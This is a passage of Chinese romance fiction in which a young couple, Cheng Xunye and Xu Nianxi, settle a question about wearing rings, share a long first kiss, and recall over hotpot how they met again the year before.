程洵也出去的时候,还有点忿忿,觉得他们吃不到葡萄说葡萄酸。但不出意外的,在门口,看到了徐念溪。 西津马上初春,她就穿了件驼色针织毛衣,针孔有些大,露出里面的白色内搭,下身穿了条浅色牛仔裤。身姿纤瘦,正盯着路灯下飞舞的小飞虫看。 “你怎么来了?”程洵也走到她身边,装模作样地咳嗽了一声。徐念溪被他的咳嗽声拉回思绪,抬脸对程洵也笑:“我想来接你。” 程洵也无动于衷似的,只淡淡地“哦”了声,又把身上的外套脱下来,随手披在徐念溪肩膀上。他的外套很大,只是这么松松垮垮地披着,就垂到了徐念溪的大腿。外套上面还有很明显的柑橘味儿。 徐念溪情不自禁地把脸埋进他的外套,蹭了蹭,又问:“你怎么出来得这么早?不是十点半才结束吗。”程洵也哼了一声:“我才不屑跟他们玩。”他一脸臭屁样儿,绝口不提他是怎么被他们联手轰出来的。 徐念溪忍不住笑了下:“这样。”她呼吸着他外套上的柑橘味,手和他的手,顺着往前走的步伐,时不时擦过。不知道是谁先主动的,总之两个人的手,像是有什么磁铁一样,突然吸在了一起。 程洵也的手掌大,徐念溪的手掌小。但也不是全然的他的手把她的手紧紧包住,而是有几根指头就那么扣在一起,谁过来分都分不开一样。 他们俩都没有主动说话,只一个把脸埋进宽大的外套里,一个侧脸看两侧的街景。安安静静的,好像世界在此刻,得到了永恒一样。 走到某个瞬间,徐念溪脚步一顿。程洵也跟着停步:“怎么了?” 徐念溪抬脸看他:“你手上的戒指呢?”程洵也回:“我收起来了,带着容易掉。”他很小的时候,看到了今日头条上的一条资讯,说新婚的丈夫,洗漱时把戒指冲进了下水道。怎么找都找不到。很小一件事,但是程洵也莫名记了很多年。 没有戒指之前,他可以只记着,但有了戒指之后,他不能保证,这种倒霉事会不会降临在他身上。所以,能收起来还是收起来。 徐念溪尝试说服他:“可是,戒指就是拿来戴的。要是真不小心,掉了的话,我再给你买新的。而且,不会那么倒霉就掉了的。”程洵也皱眉,似乎也在权衡。徐念溪摇了摇他的手,又给他看自己的手,直接右手中指那儿,赫然有一个银色素圈。 “我一个人戴,多奇怪。”徐念溪:“不知道的,还以为我和别人戴的是一对。”程洵也想了想也是这样,便道:“那我回去就戴。” 他们静静往前走,只不过从头到尾,手一直没有放开过。好像,前方的路再漫长,他们依旧可以携手走下去。 程洵也的戒指虽然是戴了,但他也不情愿戴在中指上,而是拿红绳,从戒指中间穿过去,当项链一样,挂在脖子上。就那么堂而皇之、光明正大地给所有人看。 只是严岸泊他们早就学乖了,就算从他脖子上,看到了那么个大刺刺地摆出来的戒指,也不问。都装瞎似的,当看不到。省得听程洵也嘚瑟。 鲁惟与倒是看到了,好奇地戳了戳徐念溪:“念溪,你和程洵也在一起后,现在到哪一步来了。” 徐念溪想了想,给她细数:“抱抱和牵手。” 鲁惟与等了等,没有等到后面的,瞪大了眼睛:“就没了吗?”徐念溪点头。鲁惟与情不自禁地感叹:“你们这恋爱谈得太小清新了吧,不太像是快餐时代该出现的恋爱,慢吞吞的,不过慢一点有慢一点的魅力,一看就是好好过日子的。”徐念溪先笑,又认真想了想:“我会加快的。” 既然要加快,那么首先要做的就是接吻。 接吻发生在某个夕阳很浓稠的晚上,落地窗外火烧云遍布天际,客厅内安安静静的,只有一点老电影特有的音质卡顿声。 徐念溪打开门,进了卧室,把包放下,就径直去找了程洵也。他正在窝在沙发上,鸦羽般的眼睫垂着,有点昏昏欲睡。看徐念溪坐下靠着他。他抬起眼睑,随手呼噜了下她的脑袋,用这个动作打招呼似的。 徐念溪的头发都被他弄乱了,忍不住直起身,整理了一下。只是等她再靠着程洵也,他那手不知道什么时候,又揉了一把她的脑袋。 徐念溪含着郁闷,抬脸望过来,就见程洵也不知道什么时候,又有精神了,空着的那只手撑着下巴,嘴角还擒着几分笑意,正低眼看着她。 徐念溪和他对视两秒,决定不和他计较,重新靠回去。电视机里放的是上个世纪拍摄的一部爱情电影。可能是,越经过时间的筛选,留下来的东西越经典。 徐念溪原本只是冲着和程洵也相处来的,不知不觉也看进去了。甚至跟着主角的情感变化,情绪有了波动。 甚至因为最后的,男女主好不容易在一起,而心生满足。她情不自禁地拿脑袋蹭了下程洵也:“你看到没。他们花了好多年,发生了好多事,好不容易才在一起了。”程洵也自然也看到了,点头:“确实不容易。” 可能是电影里的波折太大,徐念溪生出几分庆幸,抬起脑袋,看程洵也。“还好,我们比他们幸运。没有在那么年迈的时候才重逢。” 程洵也嘴角扯了一下,说她:“你傻啊,那个年代没有手机,不能联络对方,他们才错过的。我们又不同,别想太多。”只是他说的是别想太多,但徐念溪却忍不住想,如果我们是在那个年代相遇,会是什么样。 那个时候不仅没有手机,还没有交通工具,我们俩光是见面,估计都很困难,一辈子都可能见不到。更别说,你会喜欢我了,完全不可能……”程洵也和她的消极不同,振振有词:“怎么不可能,有句话不是叫十年修得同船渡,百年修得共枕眠。我们已经有了百年的缘分了。”他一副“他们的缘分比天大”的语气。 徐念溪被他逗笑,抓他话语中的漏洞:“我们又没有共枕眠过。”说到这种话题,徐念溪的视线情不自禁地往程洵也脸上看过去,然后顿在某一处。程洵也有张很好亲的嘴,颜色水淡,唇珠明显,有些肉,像是亲上去就不舍得放开了一样。 看着看着,不知道什么时候客厅没有人说话,甚至连呼吸声都没有了。他们视线对撞在一起。应该是徐念溪主动的,但程洵也也没拒绝。 她攀住他的脑袋,含着他的下嘴唇,像舔什么完全不一样的东西,水水润润的。速度很慢,但心跳很快。舔到他的唇瓣湿润了,她又慢慢地探进去。 只探了一下,她就有些不好意思了,连忙缩回来。离开他,捂住通红的脸,无声地深呼吸。感觉嘴巴那儿烫得可怕,身上也热得难受。 和她的羞涩不同,程洵也的眼眸深了不少,他手还放在她身上,怕她掉下去,这会儿力道重了不少,掐住她的腰。但很快,徐念溪缓过来了,又凑到他面前来。 这次不再是她一个人的行动,而是他们俩都在动,他提起她的腰,把她放在腿上。呼吸相接,唇瓣舔舐、撕咬,或急或缓。客厅里,只听得到隐隐约约的衣服摩擦声,和若隐若现浮动在水面下的,水浪拍打声。 不知道亲了多久,徐念溪实在受不了,推开他一点。因为唇瓣分开,不可避免会发出很暧昧的喘息声,身上更软更燥热得难受。 但还好,伴随着他们的分开,空气好像重新变得清新了不少。他们望着彼此,都有点耳热。 但很快,可能是某个对上眼的瞬间,他们又不知不觉地吻在一起去了。空气重新闷热黏腻。 这个晚上,他们花在接吻上的时间,有三个小时。还好隔天是周末。 徐念溪起床时,看了会儿镜子里的自己。不知道是不是她的错觉,她觉得她嘴巴好像肿了点儿。她拿着清水揉了揉,也没觉得哪里疼,或者哪里有伤口。 徐念溪耳朵尖,听到了客厅有脚步声,出了房门,就看到程洵也。他也听到了声音,看过来,许是接过吻的关系,到底比只是单纯的牵手和拥抱来得更加亲密。 他们俩不约而同地侧过脸,但昨天他们已经约好了,要一起出去吃饭。只好保持着这种局促又隐隐暧昧的氛围,出了门。 西津虽然已经进入了初春,但路面上还有一些未化的积雪。还有烤红薯的爷爷,正推着红薯来回叫卖着。 徐念溪还没吃早饭,多看了一眼烤红薯。程洵也一直留意着她的动向,自然不会错过她现在的举动。丢下句:“等我。” 他很快就回来,买了两个热腾腾的烤红薯。撕开烤红薯的外皮,热气熏白了空气。 徐念溪咬了一口,对着程洵也竖起了大拇指:“超级甜。”程洵也扬眉,他没说话,但是表情说明了一切。 因为这个小插曲,他们之间也没刚刚出门那么尴尬了。徐念溪甚至还有心思,趁着他低头的功夫,仔细看程洵也的脸。她确定那不是错觉,因为程洵也的嘴唇也有点肿。 她收回目光,掩饰性地咬了口烤红薯,觉得难捱。只是等她再抬起脑袋时,就发现,程洵也正在看她。他们视线交织。 昨天晚上的种种,一瞬间涌上来。他们俩不约而同地移开目光,再不约而同地移回目光,对视上。几秒后,两个人同时笑了。 笑完,气氛重新安静下来,只是不再拘束了。徐念溪拿红薯烫了烫自己的脸,分不清到底是红薯热,还是自己的脸热。她又踮起脚尖,摸了摸程洵也的脸。“你的脸也好烫。” 程洵也回她:“是你的手烫。”徐念溪不服:“哪有。”程洵也幼稚极了:“我说有就有。” 他们俩一路说着话,走到附中的火锅店门口。 还是严岸泊开的那家店。 他们俩都算是熟客了,尤其是程洵也。服务员轻车驾熟地走过来,引着他们入座。不知道是不是缘分,正好是徐念溪回西津那天,和鲁惟与一起坐的那张桌子。 徐念溪点好自己喜欢吃的菜,程洵也也点他的。等菜的功夫,徐念溪和他聊天。 “去年我们也是在这家店重逢的。” 程洵也还记得:“你当时还把麻酱泼到了我身上。” 徐念溪没想到他翻旧账,但她也不怕:“你当时还装作不记得我了。”程洵也皱了下鼻子:“明明是你不记得我了,我才装作不记得你的。” “我那是,顾不上和你打招呼,因为我当时很怕你让我赔偿衣服。”说起当时的种种,一时之间恍如隔世。 徐念溪轻声道:“我那个时候,真的觉得,人生没有希望了。”别人说,人生是旷野。但是她的人生容错率一直以来都很低。她按照王君兰的要求生活着,考试取得前几名、考上很好的大学、有很好的工作。任何一环都是不可或缺的。 而陈国平的事,轻而易举地击碎了她前二十五年的人生。可人生就是这样,她以为她会死在那年格外寒冷的冬季,可事实上,她在那个冬季如获新生。 “所以我完全没想到,我会在西津会遇到你,更没想到你会喜欢我。”徐念溪笑。她摸了摸自己的右手腕,那里有一圈纹身——“世界上总会有人爱你。”藏文,拿细小的黑线纹了一圈,像一根不显眼的黑绳。 手腕内侧的皮肤太薄,又有血管,纹的时候,她无时无刻都感觉疼痛。但就是这种疼痛,好像让她清晰地意识到,她自己的感受有多明显。也是从这个纹身开始,她终于意识到,就算王君兰不爱她,徐国超不在意她,她依旧是有人爱的。而且,爱着她的人,是一个很好很好的人。 程洵也看她一眼,哼了声:“你没想到的事多的是。”他姿态臭屁,徐念溪只笑,不说话。 他们吃过火锅以后,出了火锅店。西津已经迎来了初春,积雪之中隐隐有几分勃发的昂扬的翠绿,风吹过来,送来春天的气息。不复之前的银装素裹、凛冽冰冷。 时间是个奇怪的东西,会带来又带走无数的东西。就好像,不知道从什么时候开始,徐念溪有底气说,她不再害怕冬天。甚至她还可以对程洵也说。请你参与我的冬天。 因为,我们终会迎来热夏。